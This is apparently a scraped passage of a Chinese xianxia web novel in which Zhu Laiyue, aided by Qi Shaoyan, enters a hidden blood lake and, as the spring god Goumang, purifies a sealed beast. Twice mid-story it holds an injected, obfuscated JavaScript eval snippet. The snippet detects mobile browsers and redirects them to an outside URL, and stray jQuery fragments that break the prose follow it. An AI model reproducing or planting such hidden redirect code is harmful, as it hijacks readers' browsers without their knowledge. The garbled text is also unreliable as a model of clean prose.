她太明白以贺今羽的天赋,要面对天劫是迟早的事,可为什么偏偏是现在这么紧急的时刻。
戚少雁也像是突然想起什么似的,忙道:“不好!”
天劫之力来于六界的法则力量,而封印在戾杀渊的那只凶兽偏偏是个可以吸食六界内全部力量的极恶之兽,尤其是六界的法则力量。
此刻的天劫,简直像是它的催生剂,必然会加速它的破封而出的速度。
“我带你去封印之地,必须最快速度解决它,否则即使是我等合力也再难奈何它了。”戚少雁语速极快地对祝来月说道。
贺今羽自然听见了她们的交谈,注意力顿时从雷劫中挪开,大声驳道:“绝不行!你不能去。”
他的眼睛死死望着祝来月,他和她之间隔着几十米的距离,祝来月没能看清他微红的眼眶和不甘。
她只是说道:“你此刻唯一要做的是渡过天劫。”
贺今羽还想辩驳,可雷劫却扑面而来,他几乎是条件反射般挥剑去挡下这一道雷。
“祝来月!”他喊道。
祝来月只能蹙着眉远远地望了他一眼,便转头对戚少雁说:“戚前辈,我们走吧。”
贺今羽已知自己再说什么都无法挽留她的决心,他无法理解她一直对他说什么“没有什么责任是一个人生下来就要承担的”,她自己去毅然决然地要去牺牲自己。
这时,祝来月身后忽然响起一个女声,喊她的名字,她闻声驻足,回头却看见那位不算熟悉的女子。
是聂琴机。
她正快步流星地朝着祝来月奔去,在经过贺今羽身侧时也没有停顿半步。直到离祝来月只有十米左右的距离时,她忽然抛出一物,精准地落到了祝来月伸出的双手上。
祝来月低头一看,是一个星辰形状的坠子,应当是聂琴机自己的首饰之类的物品。
但它内里却流淌着灵力的痕迹。
祝来月一下就知道了这是什么东西。
是灵霄宗赠予聂家的定亲之物,与白羽剑出自同一块灵铁的流星坠。
先前便是靠此物与白羽剑之间的联系,他们才能找到失踪的祝未璃和聂琴机,也正因如此才能去到诸夭之野,得知一切的真相。
祝来月有些不解地看向聂琴机,只听见她在天劫贯耳的雷声中全力喊道:“血契!流星坠并不是我的……本命灵器……”
也许是因为奔跑消耗了她太多体力,她的身体本就虚弱,此刻的呼喊也是断断续续的。
但祝来月却明白了她的用意。
她几乎是瞬间就明白了,看向聂琴机的眼神也变得有了几分动容。
“好。”她回应道。
话毕,她将流星坠握在手中,继而头也不回地和戚少雁离开了。
聂琴机如释重负般跌坐在地上,口中喃喃道:“也算是去到了真正该拥有它的人手里。”
在去往封印之地的途中,祝来月问道:“戚前辈,这不周山的传闻可是真的?究竟是怎么回事?”
“想必你一定知道此地曾经是一片无边的湖吧?”
“是的,可这……”
“其实此湖越是往深处便越是狭窄,俨然是一座倒着的山的形状。”
“难道不周山其实是湖?”
“是,但并不完全是如此。”戚少雁一边迅速前进着,一边说道,“但那时我封印凶兽的同时,也斩出一剑,将这片湖隐去,这才有了戾杀渊。”
“是怎样隐去的?”祝来月不知道世间还有这种方法可以将传说中通往神界的不周山隐去。
“人族要做到这一点,除非付诸生命。”戚少雁镇静地说道,“我没有选择,唯有将不周山同样封印,才能避免后人找到凶兽。同样,不周山隐去后,凶兽也难以吸收人界的力量去破开封印。”
原来戚少雁当年陷入休眠是因为封印不周山和凶兽灵力休竭而“死”,而不是与凶兽同归而尽。
好在她身上有涅槃之蛊。
可惜这样好的蛊只能用这一次,不知道人界还有没有这样的蛊。祝来月当时竟然忘了问,涅槃蛊是谁给戚少雁种下,此蛊又是从何而来。
“戚前辈可知是谁给你种下涅槃之蛊?”祝来月问道。
出乎意料的是,戚少雁没有怎么犹豫,就说道:“世上能拥有这种蛊的只有那一个人了。只是七百年过去,恐怕他也早已不在人世了。”
她说着,语气竟然很有些怀念。
她忽然转移了话题,“前边就是隐藏不周山的地方,要找到凶兽,须得释放出那片湖才行。”
“也就是说,接下去你将隐藏不周山的封印撤去之后,这里会被一片湖填满?可贺今羽他们还没出去,人族怎么能在水中长久地活着?”祝来月顿时表示反对,“方才该叫他们尽快离开戾杀渊的。”
“你无须担心,此湖只是面上是湖,实则并不影响人的呼吸和生存。”
说话间,戚少雁忽然停下了步伐,原地蹲下,伸手摸了摸土地,微微一歪头,似乎在感受土地中的灵力波动。
“就是这里了。”她说道,“这里有我的封印痕迹。”
“既然此湖并无实形,那为何唯有解封此湖才可找到凶兽?更久之前又是怎样通过这样一个虚幻之湖去往神界的呢?”
戚少雁难得地笑了笑,对她说道:“你倒是好问,此湖不过是个媒介,借着此湖的映射才能看到那些被我们忽略的东西。至于此前是如何去往神界的我却不知了。你也明白,人界自有史以来,从未有一个人到过神界。”
“那么不周山的存在的意义是什么呢?”祝来月穷追不舍地问着,话刚出口,才发觉自己太过刨根问底了。
但戚少雁却不在意,“是啊,是什么意义呢?兴许有人到过神界也未可知,只是没能回来罢了。”话毕,她将铁剑猛地刺进地表。
霎那间,那被刺破的地面突然漏出许多光束。戚少雁嘴上念念有词地说了几句法诀,便将铁剑抽出,那一刻,水流猛然从那一点破口出喷涌而出。
“等吧,至多一炷香。”戚少雁说完,便一屁股坐在了地上,将剑收回鞘内,支在地上。
虽然戚少雁说这水不碍事,祝来月看着汩汩而出的水流还是不免有些紧张。自己倒也罢了,只是贺今羽还在渡雷劫,若是因此受了什么影响……
戚少雁像是看出她面上难掩的忧愁,问道:
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15023217|159153||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“怎么?担心那个灵霄宗的小辈?”
“前辈……”也许是心事被人说破,祝来月下意识躲避开她的目光。
“你不是神族的么?神也会对凡人动心么?”
“我只知道我没有多少作为神的记忆,唯有这短短的十七载人生所感受到的人之七情六欲。”
“看来你只是空有一副神之身躯,心却实在是一颗人心。”戚少雁说道。
祝来月仔细想了想,觉得她说的确有几分道理。
此时水位已经盖过坐着的两人的额头处了,果然正如戚少雁所说,即使鼻腔淹没在水中,呼吸也丝毫未受影响。
眼睛也能轻松地在这水下睁开,戾杀渊内部的情况在她眼中忽然全然变了个模样。
若要用两个字形容,祝来月只能想到——地狱。
传说中的冥界究竟长什么样子,祝来月不知道,但大概和眼前这样一副恐怖的景象没什么区别吧。
整个戾杀渊笼罩在一片浓浓的血雾之中,凡目之所及处,皆有着数不清的累累尸骨,在这无形之湖中上下浮动着。
那些尸首大多是刚开始腐烂不久的模样,白骨的部分不算多,更多的是触目惊心的腐肉。
地上还插着无数的刀枪剑戟,像是战场的遗迹。
“这是……”祝来月开口说话,发现水并不会因此灌入嘴中,但她还是尽量避免张开嘴巴。
毕竟浸泡着无数尸体的浅红色血水实在让人很倒胃口。
她发觉在水中虽然并不影响呼吸,但可见度明显降低了不少,此时已然看不见雷劫的现状了。
不知道贺今羽那边怎么样了。她暗自想着。
戚少雁却一副对眼前可怖景象熟视无睹的表情,毫不在意地开口说道:“走吧,去封印之地。”
“在哪?”为了使自己好受点,祝来月尽量将话缩略得简短。
“不周山已然出现,自然是登山。”
戚少雁的话音刚落,祝来月透过模糊不清的血水才看见,这里哪还是什么戾杀渊的底部。
不知是从什么时候开始改变的,她们脚下已经没有了实地,而是悬浮在水中。
祝来月学着戚少雁的模样直起身子,脚下微微用力,像游泳般调转了方向,头朝着下方游动。
这样新奇的“登山”方式,祝来月还是头一回体验。
“在湖底?”祝来月简短地问道。
“不,湖底不是人族可以去到的,湖底是神界的入口。那凶兽不过在半山腰上。”
神界……
不知为何,听戚少雁说“湖底是神界的入口”时,祝来月的内心有种异样的兴奋感。有种终于对所谓的神界有了实感的感觉。
就好像就这样一直游下去就能到达传说中的无人涉足之地。
“想去神界?”
祝来月分明在她身后游动,她没有回头,却感受出了祝来月内心的那一点点兴奋。
“这个湖是没有底的,越是深入,便越容易迷失方向,湖中的尸身可不仅仅是凶兽所杀的。”戚少雁冷静地打破了祝来月的幻想,正当她略有些沮丧的同时,戚少雁又补充道:
“不过,你既是神族,想必终有一日会回到神界吧?此刻又何须心急?”
“前辈……”祝来月欲言又止。
戚少雁是不知道要彻底净化凶兽而非杀死它,是需要一个神的全部神魂之力的。
在那之后,无论是祝来月还是什么春神句芒,都已经消散在这天地之间了。
不过,神是不会彻底死去的。
54. 净化
在聂琴机将流星坠给自己时,祝来月就有了一个想法。
说不准此后还能和她此生的重要之人重逢。
她缓慢地跟在戚少雁身后,一边拿出了那个星辰般地坠子,毫不犹豫地咬破了食指,将体内的神力灌输于那一滴血上。
因为在水中,那一滴血无法自己落到流星坠上,她干脆将食指贴在流星坠上,将血珠抹在上面。
流星坠顺利地吸收了那一滴血,微微闪烁了一阵便再次归于平静。
这是祝来月所知的一种与灵器立下血契的方法。
她隐隐感受到自己和手中这个巴掌大小的坠子之间产生了一种紧密的联系。
一切完毕之后,她将流星坠系在腰上,和那个代表着春神力量的木雕饰品挂在一块。
她再度抬头,发现戚少雁已经离自己有些距离了,她连忙游了几下,拉近她们之间的距离。
封印之地比她想象的要更远一些,两人游了许久,祝来月无法确定究竟过去多久,约莫是不到一个时辰的。
虽然这湖里不像寻常的湖一样有压力,游起来也没有阻力,所以算是很轻松的。但这样一个时辰下来,祝来月还是略微有些吃力。
戚少雁也明显动作迟缓了起来,也许是贺今羽刚才的那一剑给她留下了内伤。
但她们刚开始疲惫没多久,戚少雁忽然在前方停下了游动的动作。祝来月听见她说:“就是这里了。”
而她们的正前方的水中,正漂浮着一大团漆黑的物体。
祝来月难以看清那是什么,只是慢慢地靠近,忽然那团漆黑的物体猛地涨大又骤然缩小,毫无规律,像是纯粹的挣扎。
随着那个物体的“挣扎”,祝来月明显感受到了从它内部传来的惊人的杀意与戾气。在那些戾气与杀意中,祝来月几乎可以看到祝融与共工交战时的场景。
“害怕了?”戚少雁问道。
“不。”祝来月立刻回答道,“戚前辈,你先走吧,剩下的是我要做的事。”
不知为何,戚少雁竟然对她莫名产生了一种信任,她与祝来月对视,长久没能开口。
好半晌,她才点点头,一言不发地向上游去,离这团墨黑色的物体越来越远。
七百年前,对她来说就像是昨日一样,并没有过去太久,对凶兽的那些记忆也没能抹去。
那七名江湖中顶尖的英才,纷纷死在这只凶兽之下,他们的尸首就混杂在这片血湖中无数的尸身里面,即使是戚少雁,此刻也已经找不到他们的下落。
她不禁回头看了一眼,从那个角度,只能看到一个微小的人形的背影毅然地站在那屠戮人界的凶兽之前。
戚少雁忽然停下了步伐,她发觉这个陌生的女子的话语仿佛有了魔力,什么“我是神族”,这样荒唐的言语她竟然轻易相信了。
她竟然真的信任了这个大言不惭、眼眸中却全是自信的女子能够解决那只极恶之兽,而且还能保证窦然可以活下来。
窦然,想到她时,戚少雁再次开始游动。
在她的感受中,自己和窦然不过是半月左右未见,可窦然那边却切切实实地等了自己七百年。
如今面对这只凶兽只剩下祝来月一个人,她环望四周,无论是上下左右哪个方位,都只能看见一片无尽的水,还有在水中上下浮动的数不清的尸体。
来到戾杀渊之前的一路上,她都多少有些恐惧,眼下站在最后的敌人面前,她反倒没有什么惧意了。
祝来月并不觉得是体内的神之血彻底觉醒导致她失去一些人族才有的负面情绪。
她看着眼前这团漆黑的物体愈来愈大,直到它逐渐有了兽类模糊的形状,已然有一座高楼那样庞大。
若是她在最初踏上江湖那会,遇到这样硕大又可怖的生物,早已失去了思考的能力。
但如今她心中却全然是异样的安定,她的右手抚过腰间坠着的木雕和流星坠。
接着,她将木雕取下,握在手中,感受其中传来的源源不绝的能量,就像一个永恒的春日一样和煦温暖。
只有摸着这块木雕的时候,祝来月才有身为春神的感觉。
她只需要慢慢等待一个时机,等待面前的凶兽生出兽形,目前的情况还不能出手。唯有它完全从封印中苏醒,才能彻底将它体内的戾气净化完全。
在诸夭之野的时候,祝来月曾经问过作为使者的凤鸟,一个因戾气与杀意而生的生灵,将它体内的戾气等驱逐干净,它怎么还能活着?
凤鸟告诉她,凶兽在千年前两神交战时诞生,在六界来回游走逃窜了三百年,它的体内早已不是只有肃杀的气息了。
凶兽生自各种意象与气,自然也会在成长的期间吸收其他的气来壮大自己。只要祝来月将它体内邪恶的气息剔除,凶兽此后就不再是凶兽了。
回忆间,只见眼前的那一团物体已然生出了兽形,它既像狮虎那般威风凛凛,又有几分像龙蛇那般灵巧。
这只曾经为祸人间的凶兽有着狮子一般的头颅,两腮边生出许多长长的毛发,脖颈略短小,身上却生着龙一般的鳞片,墨黑得发亮。前面的双足呈爪状,看上去锋利无比,后双足又像马蹄,行进速度应当也挺快。
化成兽形后,比祝来月想象得倒是好看一些,毕竟总算没有长着可怖的瘤子什么的。
凶兽才刚化成兽形,祝来月才刚看清它时,它就猛然出击,打得祝来月猝不及防。
祝来月捂着受击的胸口,以体内的神力去抑制着破开的伤口溢出血液。她在原地划动几下,又回到凶兽面前。
“你是谁!”凶兽竟然口吐人言,对着祝来月说道,她在它那张兽脸上竟然看出了惊恐的神色。
见祝来月迟迟不回答,凶兽没了耐性,开始疯狂地吼叫,前爪在水中胡乱地飞舞,水里顿时充斥着许多附着了戾气的爪意。
有了前车之鉴,祝来月轻松地躲过了这些攻击,但不远处漂浮着的尸首却倒霉了,这些爪意一触及那些尸首,尸首便立刻化作齑粉,在水中爆炸开来。
看到它们凄惨的下落,祝来月不免心有余悸。
此刻木雕还在她的手中紧握着。
“你不是人界的!你不是人界的!”凶兽还在疯狂地吼叫,嘴里反复说着同一句话。
也许它也没想到神界的神会追到人界来,所以心生恐惧了。
“你因神而生,自然也该由神来制止你。”祝来月一边说着,一边镇定地凝聚体内的全部神力。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15031627|159153||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
因六界之内的法则力量,她在人界是不可动用神力的,但此地正好是通往神界的不周山,是两界内的媒介,唯在此地她可以动用那些力量。
那些神力开始自她体内散发开来,逐渐遍布了整个不周山。
凶兽感受到那些春风般的力量,心底的恐惧却愈发强烈,它不甘地对准祝来月展开了猛烈的攻势,却发现自从她开始使用神力,即使她不躲避自己的攻击,那些攻击也好似避着她走似的,完全不能奈何她。
它渐渐开始绝望,其实它在见到祝来月第一眼起,就知道会是这样一个结果。
那三百年它在六界内游走,唯独除了神界,它从未再次踏足。
便是知道所谓的神是可以轻易压制它的全部力量的。
“你是谁?告诉我?你是哪位神祇?”它的话语充满了恐惧和不甘,像一个临死之人想知道杀死它的人的身份,好能死得明明白白。
“句芒。”祝来月说道,“你不必害怕,神界派我来而非祝融,正是不准备杀死你,而是予你新生。”
“六界之内,唯有我可以予你新生。”
水中各种浑浊之物导致凶兽并不能看清祝来月的面容,但却依稀能辨认出她的面容姣好,可她说完那句话之后,不知为何,在它眼中的祝来月已然没有半分人的模样,而是真真正正变成了那位春神。
可再细看时,却发现这句芒与祝来月并没有任何外在上的区别,只是隐隐约约地认为,那个作为祝来月活着的人类已经消失了。
取而代之的是象征着它的新生的春神句芒。
上一秒还在狂乱中的凶兽,忽然平静了下来。
它感到身体内一阵清明,对于那股神力也没有了恐惧,开始默默地接受这一切。
句芒像是欣慰地笑了笑。
“待到一切结束之后,你去找一个人,他会愿意带着你的。”
这是祝来月对凶兽说的最后一句话。
再之后,凶兽便失去了意识,任由神之力将自己包围。
看着眼前这头“四不像”的凶兽身上墨黑的戾气和杀意被自己慢慢地驱逐干净,祝来月终于放下心来。
而意识一旦开始松懈,她便开始觉得十分困倦。
只觉得眼前忽然闪过许多事物,全是关于这短短的人生中难能可贵的回忆。
不知道璃儿现在怎么样了?若是她知道真相,一定会怪自己吧?
祝来月本应该觉得不安,可此刻却没有半分情绪,只是默默地看着那些闪过的回忆,默默地想着之后可能发生的事,漠然得像个旁观之人。
她意识到自己的灵魂已经不再只是祝来月了。
临行前,她对贺今羽还说过一句话,不知他究竟有没有听进去,是否放在心上了呢?
“此事结束之后,你要去追寻你的自由,不要再为责任所缚,做些自己不愿的事了。”
否则,她的牺牲也多了几分不甘愿。
贺今羽那时回答了什么?明明只是几天之内的事,可祝来月却已经回想不起来了。
她定神去想,却发觉自己的意识越来越混散,直到眼前变得莹润有光泽的雪白的“凶兽”也逐渐模糊。
她叹了口气,终于阖上了眼。